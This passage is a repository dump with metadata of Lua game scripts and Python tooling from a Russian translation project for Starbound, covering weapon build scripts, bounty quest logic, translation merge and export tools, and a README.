mut, gender = form, species = \"item\"}\n gender = item.count > 1 and \"plural\" or gender or form\n injectDecliners(function(casename, decliner)\n descriptions[casename][decliner(phrase)..immut] = item.count\n end)\n count = count + 1\n end\n for casename, items in pairs(descriptions) do\n action(casename, concatList(items))\n end\n if count > 1 then gender = \"plural\" end\n return gender\nend\n\n" }, { "alpha_fraction": 0.7540983557701111, "alphanum_fraction": 0.7578814625740051, "avg_line_length": 36.761905670166016, "blob_id": "3c4ca4ba04185c887abcef56d286fae02e926c1f", "content_id": "852ebbba0afc9c0780ac47e48a33a973db39d15f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 1592, "license_type": "permissive", "max_line_length": 139, "num_lines": 42, "path": "/translations/others/items/buildscripts/buildwhip.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "require \"/scripts/util.lua\"\nrequire \"/items/buildscripts/abilities.lua\"\n\nfunction build(directory, config, parameters, level, seed)\n local configParameter = function(keyName, defaultValue)\n if parameters[keyName] ~= nil then\n return parameters[keyName]\n elseif config[keyName] ~= nil then\n return config[keyName]\n else\n return defaultValue\n end\n end\n\n if level and not configParameter(\"fixedLevel\", true) then\n parameters.level = level\n end\n\n setupAbility(config, parameters, \"primary\")\n setupAbility(config, parameters, \"alt\")\n\n -- calculate damage level multiplier\n config.damageLevelMultiplier = root.evalFunction(\"weaponDamageLevelMultiplier\", configParameter(\"level\", 1))\n\n config.tooltipFields = {}\n config.tooltipFields.subtitle = parameters.category\n config.tooltipFields.speedLabel = util.round(1 / config.primaryAbility.fireTime, 1)\n config.tooltipFields.damagePerShotLabel = util.round(\n (config.primaryAbility.crackDps + config.primaryAbility.chainDps) * config.primaryAbility.fireTime * config.damageLevelMultiplier, 1)\n if config.elementalType and config.elementalType ~= \"physical\" then\n config.tooltipFields.damageKindImage = \"/interface/elements/\"..config.elementalType..\".png\"\n end\n if config.altAbility then\n config.tooltipFields.altAbilityTitleLabel = \"Умение:\"\n config.tooltipFields.altAbilityLabel = config.altAbility.name or \"unknown\"\n end\n\n -- set price\n config.price = (config.price or 0) * root.evalFunction(\"itemLevelPriceMultiplier\", configParameter(\"level\", 1))\n\n return config, parameters\nend\n" }, { "alpha_fraction": 0.5910633206367493, "alphanum_fraction": 0.5938913822174072, "avg_line_length": 32.980770111083984, "blob_id": "147e91b5103ddd4a917ccf2333a81bce9b3d41b1", "content_id": "c3a26c052ff6ca5c2912b96b91eadd9d7035e004", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1768, "license_type": "permissive", "max_line_length": 73, "num_lines": 52, "path": "/tools/copy_the_same.py", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "#!/bin/python3\nfrom json import load, dump\nfrom copy import deepcopy\nimport argparse\n\ndef parse_arguments():\n parser = argparse.ArgumentParser(\n description=\"Copy translations from other db.\")\n parser.add_argument('--from-file', help='source json files',\n metavar='FILE', action=\"append\",\n type=argparse.FileType('r'))\n parser.add_argument('destination', nargs='+', help='target json files',\n type=argparse.FileType('r+'))\n return parser.parse_args()\n\ndef create_the_base(files):\n result = dict()\n for f in files:\n jsonfile = load(f)\n for entry in jsonfile:\n translations = entry[\"Texts\"]\n if \"Rus\" in translations and len(translations[\"Rus\"]) > 0:\n eng = translations[\"Eng\"]\n if eng in result:\n print(\"Translations conflict while reading inputs!\")\n print(\"Original: \" + eng)\n print(\"First: \" + translations[\"Rus\"])\n print(\"Second: \" + result[eng])\n print(\"Autoselecting second for a while... FIXME\")\n else:\n result[eng] = translations[\"Rus\"]\n return result\n\ndef merge_the_base(base, files):\n for f in files:\n newjson = list()\n jsonfile = load(f)\n for entry in jsonfile:\n newentry = deepcopy(entry)\n eng = entry[\"Texts\"][\"Eng\"]\n if eng in base and (\"Rus\" not in entry[\"Texts\"] or\n len(entry[\"Texts\"][\"Rus\"]) == 0):\n newentry[\"Texts\"][\"Rus\"] = base[eng]\n newjson += [newentry]\n f.seek(0)\n f.truncate()\n dump(newjson, f, ensure_ascii=False, indent=2, sort_keys=True)\n\nif __name__ == \"__main__\":\n arguments = parse_arguments()\n base = create_the_base(arguments.from_file)\n merge_the_base(base, arguments.destination)\n\n" }, { "alpha_fraction": 0.6110552549362183, "alphanum_fraction": 0.7065326571464539, "avg_line_length": 40.45833206176758, "blob_id": "0f5fc41dd4a7dcb016187697a7fa2cb162a5804c", "content_id": "651bb21b08bee033519c8c79a79114cba1ddd854", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1116, "license_type": "permissive", "max_line_length": 142, "num_lines": 24, "path": "/README.md", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "# Starbound_RU\n[![Build Status](https://travis-ci.org/SBT-community/Starbound_RU.svg?branch=web-interface)](https://travis-ci.org/SBT-community/Starbound_RU)\n\nStarbound translation framework.\n\n[Руководство по работе с базой](https://gist.github.com/xomachine/1e2641edaf03ead58156f28d478d7fd1)\n\n[Глоссарий по переводу SBT](https://docs.google.com/spreadsheets/d/11wsdVB_vysNa-GrdEjqbt2yOJivNBQZkg_yX0A_hvso/edit#gid=0)\n\n[Страница в Steam](https://steamcommunity.com/sharedfiles/filedetails/?id=731751231)\n\nПеревод осуществляется [на сайте](https://sbt-community.github.io/)\n\n_____________________________________________________________________________________________________________\nПо всем повросам:\n\n[ЧаВо в Steam](https://steamcommunity.com/workshop/filedetails/discussion/731751231/133257324797830429/)\n\n[Тема по ошибкам в Steam](https://steamcommunity.com/workshop/filedetails/discussion/731751231/352788917764662146/)\n\n[Группа в VK](https://vk.com/sbt_rus)\n\n\nSBT Community RU | 2016-2020\n" }, { "alpha_fraction": 0.6374111771583557, "alphanum_fraction": 0.6427885293960571, "avg_line_length": 31.341615676879883, "blob_id": "b63141a14e717ab9471ae0106e88389660373efe", "content_id": "e42b1f0c2b6c2d1cc23f25b10d1fb8482a5d85e1", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5207, "license_type": "permissive", "max_line_length": 87, "num_lines": 161, "path": "/tools/export_mod.py", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "#!/bin/python\n# A script for export framework data to unpacked mod file structure\n\nfrom os import walk, makedirs, sep\nfrom os.path import join, relpath, dirname, exists, normpath, basename\nfrom json import load, dump\nfrom shutil import copy\nfrom json_tools import field_by_path\nfrom re import compile as regex\nfrom codecs import open as copen\n\ndef uopen(path, mode):\n return copen(path, mode, \"utf-8\")\ntranslations_dir = \"./translations\"\nmod_dir = \"./new_mod\"\n\nchecker = regex('([^\\n\\s\\t\\r]+|\\r?[\\n\\s\\t])')\nis_unprintable = regex('\\^.+;')\n\npatchfiles = dict()\n\nemotes = dict()\nglitchFixed = list()\nlabelsTotal = dict()\nlabelsTranslated = dict()\n\nothers_path = normpath(join(translations_dir, \"others\"))\nothers_dest = normpath(mod_dir)\n\n\ndef sum_up_counter(counter):\n result = 0\n for l, n in counter.items():\n if not type(n) is int:\n result += sum_up_counter(n)\n else:\n result += n\n return result\n\ndef set_count(counter, path, value):\n ## Sets the count of the translated or total elements for specific path\n thepath = normpath(relpath(path, translations_dir))\n field_by_path(counter, thepath, value, sep)\n\ndef add_count(counter, path, value):\n thepath = normpath(relpath(path, translations_dir))\n oldval = field_by_path(counter, thepath, sep=sep)\n field_by_path(counter, thepath, oldval+1, sep)\n\n\ndef check_translation_length(text):\n ## 15 height, 36 width\n words = checker.split(text)\n maxwidth = 40\n width = maxwidth\n height = 17 - 1 # First string already taken anyway\n for word in words:\n wlen = len(word)\n if wlen == 0 or is_unprintable.match(word):\n continue\n if word == '\\n':\n height -= 1\n width = maxwidth\n continue\n width -= wlen\n if width < 0 and not word == ' ':\n width = maxwidth - wlen\n height -= 1\n return height >= 0\n\nspecials = dict()\n\nfor subdir, dirs, files in walk(translations_dir):\n for thefile in files:\n if thefile in [\"substitutions.json\", \"totallabels.json\", \"translatedlabels.json\"]:\n continue\n filename = normpath(join(subdir, thefile))\n if filename.startswith(others_path):\n filename = relpath(filename, others_path)\n dest = join(others_dest, filename)\n makedirs(dirname(dest), exist_ok = True)\n copy(join(subdir, thefile), dest)\n continue\n filename = normpath(join(subdir, thefile))\n jsondata = list()\n try:\n with uopen(filename, \"r\") as f:\n jsondata = load(f)\n except:\n print(\"Cannot parse file: \" + filename)\n continue\n set_count(labelsTotal,filename, len(jsondata))\n set_count(labelsTranslated,filename, 0)\n for label in jsondata:\n if \"Rus\" not in label[\"Texts\"] or len(label[\"Texts\"][\"Rus\"]) == 0:\n continue\n\n add_count(labelsTranslated, filename, 1)\n translation = label[\"Texts\"][\"Rus\"]\n if filename.endswith(\"codex.json\") and not check_translation_length(translation):\n print(\"Warning! String too long in file: \" + filename)\n \n for originfile, jsonpaths in label[\"Files\"].items():\n patchfile = normpath(join(mod_dir, originfile + \".patch\"))\n if patchfile not in patchfiles:\n patchfiles[patchfile] = list()\n for jsonpath in jsonpaths:\n specialpaths = [\"glitchEmote\", \"glitchEmotedText\"]\n jsonpathend = basename(jsonpath)\n if jsonpathend in specialpaths:\n if patchfile not in specials:\n specials[patchfile] = dict()\n specials[patchfile][jsonpath] = translation\n specialpaths.remove(jsonpathend)\n basepath = dirname(jsonpath)\n restpath = join(basepath, specialpaths.pop())\n if restpath in specials[patchfile]:\n emotepath = join(basepath, \"glitchEmote\")\n textpath = join(basepath, \"glitchEmotedText\")\n emote = specials[patchfile][emotepath]\n text = specials[patchfile][textpath]\n command = dict()\n command[\"op\"] = \"replace\"\n command[\"value\"] = emote + \" \" + text\n command[\"path\"] = basepath\n patchfiles[patchfile].append(command)\n else:\n command = dict()\n command[\"op\"] = \"replace\"\n command[\"value\"] = translation\n command[\"path\"] = jsonpath\n patchfiles[patchfile].append(command)\n \n\nfor pfile, content in patchfiles.items():\n makedirs(dirname(pfile), exist_ok = True)\n thecontent = content\n if exists(pfile):\n with uopen(pfile, 'r') as f:\n thecontent += load(f)\n with uopen(pfile, \"w\") as f:\n dump(thecontent, f, ensure_ascii=False, indent = 2)\n\nlabelsTranslatedN = 0\nlabelsTotalN = 0\n\n\n\nlabelsTotalN = sum_up_counter(labelsTotal)\nlabelsTranslatedN = sum_up_counter(labelsTranslated)\n\n \nwith uopen(join(translations_dir, \"translatedlabels.json\"), \"w\") as f:\n dump(labelsTranslated, f, indent = 2, sort_keys=True)\nwith uopen(join(translations_dir, \"totallabels.json\"), \"w\") as f:\n dump(labelsTotal, f, indent = 2, sort_keys=True)\n\nprint(\"Statistics:\")\nprint(\"Translated labels: \" + str(labelsTranslatedN))\nprint(\"Summary labels: \" + str(labelsTotalN))\nprint(\"Completion: \" + str(labelsTranslatedN*100/labelsTotalN) + \"%\")\n" }, { "alpha_fraction": 0.7388268113136292, "alphanum_fraction": 0.7449720501899719, "avg_line_length": 40.627906799316406, "blob_id": "b8b2bf97e7caf31b0b78b0570fde92d41398a6ed", "content_id": "f1df5e6d8c494ef1f01778f87c3d1c21f01a076f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 3594, "license_type": "permissive", "max_line_length": 170, "num_lines": 86, "path": "/translations/others/items/buildscripts/buildunrandweapon.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "require \"/scripts/util.lua\"\nrequire \"/scripts/vec2.lua\"\nrequire \"/scripts/versioningutils.lua\"\nrequire \"/items/buildscripts/abilities.lua\"\n\nfunction build(directory, config, parameters, level, seed)\n local configParameter = function(keyName, defaultValue)\n if parameters[keyName] ~= nil then\n return parameters[keyName]\n elseif config[keyName] ~= nil then\n return config[keyName]\n else\n return defaultValue\n end\n end\n\n if level and not configParameter(\"fixedLevel\", true) then\n parameters.level = level\n end\n\n setupAbility(config, parameters, \"primary\")\n setupAbility(config, parameters, \"alt\")\n\n -- elemental type and config (for alt ability)\n local elementalType = configParameter(\"elementalType\", \"physical\")\n replacePatternInData(config, nil, \"<elementalType>\", elementalType)\n if config.altAbility and config.altAbility.elementalConfig then\n util.mergeTable(config.altAbility, config.altAbility.elementalConfig[elementalType])\n end\n\n -- calculate damage level multiplier\n config.damageLevelMultiplier = root.evalFunction(\"weaponDamageLevelMultiplier\", configParameter(\"level\", 1))\n\n -- palette swaps\n config.paletteSwaps = \"\"\n if config.palette then\n local palette = root.assetJson(util.absolutePath(directory, config.palette))\n local selectedSwaps = palette.swaps[configParameter(\"colorIndex\", 1)]\n for k, v in pairs(selectedSwaps) do\n config.paletteSwaps = string.format(\"%s?replace=%s=%s\", config.paletteSwaps, k, v)\n end\n end\n if type(config.inventoryIcon) == \"string\" then\n config.inventoryIcon = config.inventoryIcon .. config.paletteSwaps\n else\n for i, drawable in ipairs(config.inventoryIcon) do\n if drawable.image then drawable.image = drawable.image .. config.paletteSwaps end\n end\n end\n\n -- gun offsets\n if config.baseOffset then\n construct(config, \"animationCustom\", \"animatedParts\", \"parts\", \"middle\", \"properties\")\n config.animationCustom.animatedParts.parts.middle.properties.offset = config.baseOffset\n if config.muzzleOffset then\n config.muzzleOffset = vec2.add(config.muzzleOffset, config.baseOffset)\n end\n end\n\n -- populate tooltip fields\n if config.tooltipKind ~= \"base\" then\n config.tooltipFields = {}\n config.tooltipFields.levelLabel = util.round(configParameter(\"level\", 1), 1)\n config.tooltipFields.dpsLabel = util.round((config.primaryAbility.baseDps or 0) * config.damageLevelMultiplier, 1)\n config.tooltipFields.speedLabel = util.round(1 / (config.primaryAbility.fireTime or 1.0), 1)\n config.tooltipFields.damagePerShotLabel = util.round((config.primaryAbility.baseDps or 0) * (config.primaryAbility.fireTime or 1.0) * config.damageLevelMultiplier, 1)\n config.tooltipFields.energyPerShotLabel = util.round((config.primaryAbility.energyUsage or 0) * (config.primaryAbility.fireTime or 1.0), 1)\n if elementalType ~= \"physical\" then\n config.tooltipFields.damageKindImage = \"/interface/elements/\"..elementalType..\".png\"\n end\n if config.primaryAbility then\n config.tooltipFields.primaryAbilityTitleLabel = \"Осн. атака:\"\n config.tooltipFields.primaryAbilityLabel = config.primaryAbility.name or \"unknown\"\n end\n if config.altAbility then\n config.tooltipFields.altAbilityTitleLabel = \"Умение:\"\n config.tooltipFields.altAbilityLabel = config.altAbility.name or \"unknown\"\n end\n end\n\n -- set price\n -- TODO: should this be handled elsewhere?\n config.price = (config.price or 0) * root.evalFunction(\"itemLevelPriceMultiplier\", configParameter(\"level\", 1))\n\n return config, parameters\nend\n" }, { "alpha_fraction": 0.6731396317481995, "alphanum_fraction": 0.6745163202285767, "avg_line_length": 30.170164108276367, "blob_id": "235a5e1da0e77515e6a1c6833f889490c77fb451", "content_id": "7d653513d67d2cd4b29139dbf9161edd4affb20a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 13866, "license_type": "permissive", "max_line_length": 136, "num_lines": 429, "path": "/translations/others/quests/bounty/bounty.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "require \"/interface/cockpit/cockpitutil.lua\"\r\nrequire \"/scripts/messageutil.lua\"\r\nrequire \"/scripts/quest/player.lua\"\r\nrequire \"/scripts/quest/text_generation.lua\"\r\nrequire \"/quests/bounty/bounty_portraits.lua\"\r\nrequire \"/quests/bounty/stages.lua\"\r\n\r\nfunction init()\r\n local parameters = quest.parameters()\r\n\r\n storage.pending = storage.pending or {}\r\n storage.spawned = storage.spawned or {}\r\n storage.killed = storage.killed or {}\r\n storage.event = storage.event or {}\r\n\r\n message.setHandler(quest.questId()..\"entitySpawned\", function(_, _, param, uniqueId)\r\n storage.spawned[param] = uniqueId\r\n storage.pending[param] = nil\r\n end)\r\n message.setHandler(quest.questId()..\"entityPending\", function(_, _, param, position)\r\n storage.pending[param] = position\r\n end)\r\n message.setHandler(quest.questId()..\"entityDied\", function(_, _, param, uniqueId)\r\n storage.killed[param] = uniqueId\r\n end)\r\n message.setHandler(quest.questId()..\".participantEvent\", function(_, _, uniqueId, eventName, ...)\r\n storage.event[eventName] = true\r\n end)\r\n message.setHandler(quest.questId()..\"setCompleteMessage\", function(_, _, text)\r\n storage.completeMessage = text\r\n end)\r\n message.setHandler(quest.questId()..\"keepAlive\", function() end)\r\n \r\n message.setHandler(quest.questId()..\".complete\", function(_, _, text)\r\n storage.event[\"captured\"] = true\r\n quest.complete()\r\n end)\r\n message.setHandler(quest.questId()..\".fail\", function(_, _, text)\r\n quest.fail()\r\n end)\r\n\r\n storage.scanObjects = storage.scanObjects or nil\r\n self.scanClue = nil\r\n message.setHandler(\"objectScanned\", function(message, isLocal, objectName)\r\n if storage.scanObjects ~= nil then\r\n storage.scanObjects = copyArray(util.filter(storage.scanObjects, function(n) return n ~= objectName end))\r\n end\r\n if self.scanClue and objectName == self.scanClue then\r\n storage.event[\"scannedClue\"] = true\r\n end\r\n end)\r\n message.setHandler(\"interestingObjects\", function(...)\r\n return storage.scanObjects or jarray()\r\n end)\r\n\r\n self.stages = util.map(config.getParameter(\"stages\"), function(stageName)\r\n return _ENV[stageName]\r\n end)\r\n\r\n self.radioMessageConfig = {\r\n default = {\r\n messageId = \"bounty_message\",\r\n unique = false,\r\n senderName = \"Капитан Нобель\",\r\n portraitImage = \"/interface/chatbubbles/captain.png:<frame>\"\r\n },\r\n angry = {\r\n messageId = \"bounty_message\",\r\n unique = false,\r\n senderName = \"Капитан Нобель\",\r\n portraitImage = \"/interface/chatbubbles/captainrage.png:<frame>\"\r\n }\r\n }\r\n\r\n self.defaultSkipMessages = {\r\n \"У тебя получилось разобраться в этом без зацепок? Отличная работа!\"\r\n }\r\n\r\n self.managerPosition = nil\r\n\r\n self.skipMessage = nil\r\n local textParameter = quest.parameters().text\r\n if textParameter then\r\n if not storage.completeMessage then\r\n storage.completeMessage = textParameter.completeMessage\r\n end\r\n self.skipMessage = textParameter.skipMessage or util.randomFromList(self.defaultSkipMessages)\r\n end\r\n\r\n self.bountyType = nil\r\n local firstTemplate = quest.questArcDescriptor().quests[1].templateId\r\n if firstTemplate == \"pre_bounty\" or firstTemplate == \"pre_bounty_capstone\" then\r\n self.bountyType = \"major\"\r\n else\r\n self.bountyType = \"minor\"\r\n end\r\n\r\n storage.stage = storage.stage or 1\r\n setStage(storage.stage)\r\n\r\n setText()\r\n\r\n setBountyPortraits()\r\n\r\n self.tasks = {}\r\n\r\n table.insert(self.tasks, coroutine.create(function()\r\n if self.bountyName == nil then\r\n return true\r\n end\r\n while true do\r\n local setBounty = util.await(world.sendEntityMessage(entity.id(), \"setBountyName\", self.bountyName))\r\n if setBounty:succeeded() then\r\n break\r\n end\r\n coroutine.yield()\r\n end\r\n return true\r\n end))\r\n\r\n table.insert(self.tasks, coroutine.create(function()\r\n while storage.spawned[\"inertScans\"] == nil do\r\n coroutine.yield(false)\r\n end\r\n storage.scanObjects = copyArray(storage.spawned[\"inertScans\"].uuids)\r\n return true\r\n end))\r\n\r\n setupEarlyCompletion()\r\nend\r\n\r\nfunction update(dt)\r\n if not self.managerPosition then\r\n if self.findManager then\r\n local status, result = coroutine.resume(self.findManager)\r\n if not status then\r\n error(result)\r\n end\r\n if result then\r\n self.managerPosition = result\r\n self.findManager = nil\r\n end\r\n elseif questInvolvesWorld() then\r\n sb.logInfo(\"Find bounty manager\")\r\n self.findManager = coroutine.create(loadBountyManager)\r\n elseif quest.worldId() == nil then\r\n -- the quest takes place on an unknown world, try to find a bounty manager for this world, potentially spawned by another player\r\n sb.logInfo(\"Maybe find bounty manager\")\r\n self.findManager = coroutine.create(maybeLoadBountyManager)\r\n end\r\n end\r\n\r\n if self.stage then\r\n local status, result = coroutine.resume(self.stage)\r\n if not status then\r\n error(result)\r\n end\r\n end\r\n\r\n self.tasks = util.filter(self.tasks, function(t)\r\n local status, result = coroutine.resume(t)\r\n if not status then\r\n error(result)\r\n end\r\n return not result\r\n end)\r\nend\r\n\r\nfunction questInvolvesWorld()\r\n local locationsParameter = quest.parameters().locations\r\n if locationsParameter then\r\n local locationWorlds = util.map(util.tableValues(locationsParameter.locations), function(location)\r\n local tags = {\r\n questId = quest.questId()\r\n }\r\n return sb.replaceTags(location.worldId or quest.worldId() or \"\", tags)\r\n end)\r\n if contains(locationWorlds, player.worldId()) then\r\n return true\r\n end\r\n end\r\n return onQuestWorld()\r\nend\r\n\r\nfunction onQuestWorld()\r\n return player.worldId() == quest.worldId() and player.serverUuid() == quest.serverUuid()\r\nend\r\n\r\nfunction stopMusic()\r\n world.sendEntityMessage(player.id(), \"stopBountyMusic\")\r\nend\r\n\r\nfunction questStart()\r\n local associatedMission = config.getParameter(\"associatedMission\")\r\n if associatedMission then\r\n player.enableMission(associatedMission)\r\n player.playCinematic(config.getParameter(\"missionUnlockedCinema\"))\r\n end\r\nend\r\n\r\nfunction questComplete()\r\n stopMusic()\r\n\r\n local quests = quest.questArcDescriptor().quests\r\n -- rewards on last step of the chain\r\n if quest.questId() == quests[#quests].questId then\r\n local rewards = quest.parameters().rewards\r\n local text = config.getParameter(\"generatedText.complete\")\r\n text = text.capture or text.default\r\n\r\n modifyQuestEvents(\"Captured\", rewards.money, rewards.rank, rewards.credits)\r\n\r\n local tags = util.generateTextTags(quest.parameters().text.tags)\r\n tags.bountyPoints = rewards.rank\r\n text = util.randomFromList(text):gsub(\"<([%w.]+)>\", tags)\r\n quest.setCompletionText(text)\r\n end\r\n\r\n sb.logInfo(\"Complete message: %s\", storage.completeMessage)\r\n if storage.completeMessage then\r\n player.radioMessage(radioMessage(storage.completeMessage))\r\n end\r\n\r\n if questInvolvesWorld() then\r\n sb.logInfo(\"Send playerCompleted message\")\r\n world.sendEntityMessage(quest.questArcDescriptor().stagehandUniqueId, \"playerCompleted\", player.uniqueId(), quest.questId())\r\n end\r\n\r\n if self.bountyType == \"major\" then\r\n world.sendEntityMessage(entity.id(), \"setBountyName\", nil)\r\n end\r\n\r\n local associatedMission = config.getParameter(\"associatedMission\")\r\n if associatedMission then\r\n player.completeMission(associatedMission)\r\n end\r\n\r\n quest.setWorldId(nil)\r\n quest.setLocation(nil)\r\nend\r\n\r\nfunction questFail(abandoned)\r\n stopMusic()\r\n\r\n modifyQuestEvents(\"Failed\", 0, 0, 0)\r\n\r\n if questInvolvesWorld() then\r\n world.sendEntityMessage(quest.questArcDescriptor().stagehandUniqueId, \"playerFailed\", player.uniqueId(), quest.questId())\r\n end\r\n\r\n if self.bountyType == \"major\" then\r\n world.sendEntityMessage(entity.id(), \"setBountyName\", nil)\r\n end\r\n -- local failureText = config.getParameter(\"generatedText.failure\")\r\n -- if failureText then\r\n -- quest.setCompletionText(failureText)\r\n -- end\r\nend\r\n\r\nfunction setupEarlyCompletion()\r\n local questIndices = {}\r\n local quests = quest.questArcDescriptor().quests\r\n for i,q in pairs(quests) do\r\n questIndices[q.questId] = i\r\n end\r\n\r\n for i,q in pairs(quests) do\r\n local spawnsParameter = q.parameters.spawns\r\n if spawnsParameter then\r\n for name,spawnConfig in pairs(spawnsParameter.spawns) do\r\n if spawnConfig.type == \"keypad\"\r\n and spawnConfig.skipSteps\r\n and spawnConfig.skipSteps > 0\r\n and i <= questIndices[quest.questId()]\r\n and i + spawnConfig.skipSteps > questIndices[quest.questId()] then\r\n\r\n message.setHandler(q.questId..\"keypadUnlocked\", function(_, _, _, _)\r\n storage.completeMessage = self.skipMessage\r\n local followup = questIndices[q.questId] + spawnConfig.skipSteps\r\n quest.complete(followup - 1) -- Lua is 1-indexed, callback takes index starting at 0\r\n end)\r\n end\r\n end\r\n end\r\n end\r\nend\r\n\r\nfunction questInteract(entityId)\r\n if self.onInteract then\r\n return self.onInteract(entityId)\r\n end\r\nend\r\n\r\nfunction loadBountyManager()\r\n while true do\r\n local findManager = world.findUniqueEntity(quest.questArcDescriptor().stagehandUniqueId)\r\n while not findManager:finished() do\r\n coroutine.yield()\r\n end\r\n if findManager:succeeded() then\r\n world.sendEntityMessage(quest.questArcDescriptor().stagehandUniqueId, \"playerStarted\", player.uniqueId(), quest.questId())\r\n return findManager:result()\r\n else\r\n world.spawnStagehand(entity.position(), \"bountymanager\", {\r\n tryUniqueId = quest.questArcDescriptor().stagehandUniqueId,\r\n questArc = quest.questArcDescriptor(),\r\n worldId = player.worldId(),\r\n questId = quest.questId(),\r\n })\r\n end\r\n coroutine.yield()\r\n end\r\nend\r\n\r\nfunction maybeLoadBountyManager()\r\n local stagehandId = quest.questArcDescriptor().stagehandUniqueId\r\n while true do\r\n local findManager = util.await(world.findUniqueEntity(stagehandId))\r\n if findManager:succeeded() then\r\n sb.logInfo(\"Involves this world: %s\", util.await(world.sendEntityMessage(stagehandId, \"involvesQuest\", quest.questId())):result())\r\n if util.await(world.sendEntityMessage(stagehandId, \"involvesQuest\", quest.questId())):result() then\r\n world.sendEntityMessage(stagehandId, \"playerStarted\", player.uniqueId(), quest.questId())\r\n return findManager:result()\r\n end\r\n end\r\n\r\n util.wait(3.0)\r\n end\r\nend\r\n\r\nfunction nextStage()\r\n if storage.stage == #self.stages then\r\n return quest.complete()\r\n end\r\n setStage(storage.stage + 1)\r\nend\r\n\r\nfunction previousStage()\r\n if storage.state == 1 then\r\n error(\"Cannot go to previous stage from first stage\")\r\n end\r\n setStage(storage.stage - 1)\r\nend\r\n\r\nfunction setStage(i)\r\n if storage.stage ~= i then\r\n stopMusic()\r\n end\r\n \r\n storage.stage = i\r\n \r\n self.onInteract = nil\r\n self.stage = coroutine.create(self.stages[storage.stage])\r\n local status, result = coroutine.resume(self.stage)\r\n if not status then\r\n error(result)\r\n end\r\nend\r\n\r\nfunction setText()\r\n local tags = util.generateTextTags(quest.parameters().text.tags)\r\n self.bountyName = tags[\"bounty.name\"]\r\n local title\r\n if self.bountyType == \"major\" then\r\n title = (\"^yellow; ^orange;Цель: ^green;<bounty.name>\"):gsub(\"<([%w.]+)>\", tags)\r\n else\r\n title = (\"^orange;Цель: ^green;<bounty.name>\"):gsub(\"<([%w.]+)>\", tags)\r\n end\r\n quest.setTitle(title)\r\n\r\n local textCons\r\n for i, q in pairs(quest.questArcDescriptor().quests) do\r\n if i > 1 then -- skip the first quest, it's fake\r\n local questConfig = root.questConfig(q.templateId).scriptConfig\r\n\r\n if i > 2 and q.questId == quest.questId() then\r\n break\r\n end\r\n\r\n local text = q.parameters.text.questLog\r\n if not text then\r\n if q.questId ~= quest.questId() then\r\n text = util.randomFromList(questConfig.generatedText.text.prev or questConfig.generatedText.text.default)\r\n else\r\n text = util.randomFromList(questConfig.generatedText.text.default)\r\n end\r\n end\r\n\r\n local tags = util.generateTextTags(q.parameters.text.tags)\r\n if textCons then\r\n textCons = string.format(\"%s%s\", textCons, text:gsub(\"<([%w.]+)>\", tags))\r\n else\r\n textCons = text:gsub(\"<([%w.]+)>\", tags)\r\n end\r\n\r\n if q.questId == quest.questId() then\r\n if questConfig.generatedText.failureText then\r\n local failureText = util.randomFromList(questConfig.generatedText.failureText.default)\r\n failureText = failureText:gsub(\"<([%w.]+)>\", tags)\r\n quest.setFailureText(failureText)\r\n end\r\n \r\n break\r\n end\r\n end\r\n end\r\n\r\n quest.setText(textCons)\r\nend\r\n\r\nfunction radioMessage(text, portraitType)\r\n portraitType = portraitType or \"default\"\r\n local message = copy(self.radioMessageConfig[portraitType])\r\n local tags = util.generateTextTags(quest.parameters().text.tags)\r\n message.text = text:gsub(\"<([%w.]+)>\", tags)\r\n return message\r\nend\r\n\r\nfunction modifyQuestEvents(status, money, rank, credits)\r\n local newBountyEvents = player.getProperty(\"newBountyEvents\", {})\r\n local thisQuestEvents = newBountyEvents[quest.questId()] or {}\r\n thisQuestEvents.status = status\r\n thisQuestEvents.money = (thisQuestEvents.money or 0) + money\r\n thisQuestEvents.rank = (thisQuestEvents.rank or 0) + rank\r\n thisQuestEvents.credits = (thisQuestEvents.credits or 0) + credits\r\n thisQuestEvents.cinematic = config.getParameter(\"bountyCinematic\")\r\n newBountyEvents[quest.questId()] = thisQuestEvents\r\n player.setProperty(\"newBountyEvents\", newBountyEvents)\r\nend\r\n" }, { "alpha_fraction": 0.7188481688499451, "alphanum_fraction": 0.7206806540489197, "avg_line_length": 26.985347747802734, "blob_id": "e9d6231b4cfe4b53f7cf0ee576b2a58087bdd7ef", "content_id": "925cc80c284923cbc0b5a5385d492a6b61ad014d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 7640, "license_type": "permissive", "max_line_length": 118, "num_lines": 273, "path": "/translations/others/scripts/actions/dialog.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "require(\"/scripts/quest/text_generation.lua\")\nrequire(\"/scripts/util.lua\")\nfunction context()\n return _ENV[entity.entityType()]\nend\n\nfunction entityVariant()\n if entity.entityType() == \"monster\" then\n return monster.type()\n elseif entity.entityType() == \"npc\" then\n return npc.npcType()\n elseif entity.entityType() == \"object\" then\n return world.entityName(entity.id())\n end\nend\n\nfunction loadDialog(dialogKey)\n local configEntry = config.getParameter(dialogKey)\n if type(configEntry) == \"string\" then\n self.dialog[dialogKey] = root.assetJson(configEntry)\n elseif type(configEntry) == \"table\" then\n self.dialog[dialogKey] = configEntry\n else\n self.dialog[dialogKey] = false\n end\nend\n\nfunction queryDialog(dialogKey, targetId)\n if self.dialog == nil then self.dialog = {} end\n if self.dialog[dialogKey] == nil then loadDialog(dialogKey) end\n\n local dialog = self.dialog[dialogKey]\n if dialog then\n return speciesDialog(dialog, targetId)\n end\nend\n\nfunction speciesDialog(dialog, targetId)\n local species = context().species and context().species() or \"default\"\n dialog = dialog[species] or dialog.default\n\n local targetDialog\n if 